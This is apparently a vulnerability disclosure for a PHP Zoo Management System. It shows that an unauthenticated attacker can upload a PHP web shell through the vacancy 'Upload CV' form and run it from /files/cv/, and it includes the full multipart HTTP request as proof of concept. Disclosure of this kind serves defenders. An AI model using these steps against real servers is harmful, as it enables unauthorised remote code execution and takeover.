# Zoo Management System Unrestricted File Upload + RCE # Author: D4rkP0w4r * Note => don't need register or login account * Description=> Upload web shell at Upload CV # Step to Reproduct * Access Vacancies -> upload web shell at -> Upload CV -> APPLY # Exploit Upload web shell at Upload CV * When upload success access /files/cv/lmao_1647573914.php * Web shell activated # Vulnerable Code * No file checking before uploading # POC * Injection Point ------WebKitFormBoundaryweuPp5xYq2xZxRzb Content-Disposition: form-data; name="cv"; filename="lmao.php" Content-Type: application/octet-stream * Request POST /ZooManagementSystem/public_html/apply_vacancy?vac_id=6 HTTP/1.1 Host: localhost:8080 Content-Length: 179092 Cache-Control: max-age=0 sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: http://localhost:8080 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryweuPp5xYq2xZxRzb User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://localhost:8080/ZooManagementSystem/public_html/apply_vacancy?vac_id=6 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=i1e5h9ubpsidb6rdnq372gttoq Connection: close ------WebKitFormBoundaryweuPp5xYq2xZxRzb Content-Disposition: form-data; name="a_fullname" root ------WebKitFormBoundaryweuPp5xYq2xZxRzb Content-Disposition: form-data; name="a_email" hacked@gmail.com ------WebKitFormBoundaryweuPp5xYq2xZxRzb Content-Disposition: form-data; name="a_phone" 123456789 ------WebKitFormBoundaryweuPp5xYq2xZxRzb Content-Disposition: form-data; name="cv"; filename="lmao.php" Content-Type: application/octet-stream ------WebKitFormBoundaryweuPp5xYq2xZxRzb Content-Disposition: form-data; name="submit" ------WebKitFormBoundaryweuPp5xYq2xZxRzb-- POC VIDEO https://drive.google.com/file/d/14WEhaUdOaKdwM8Mlztuko4nnQsmoe89O/view?usp=sharing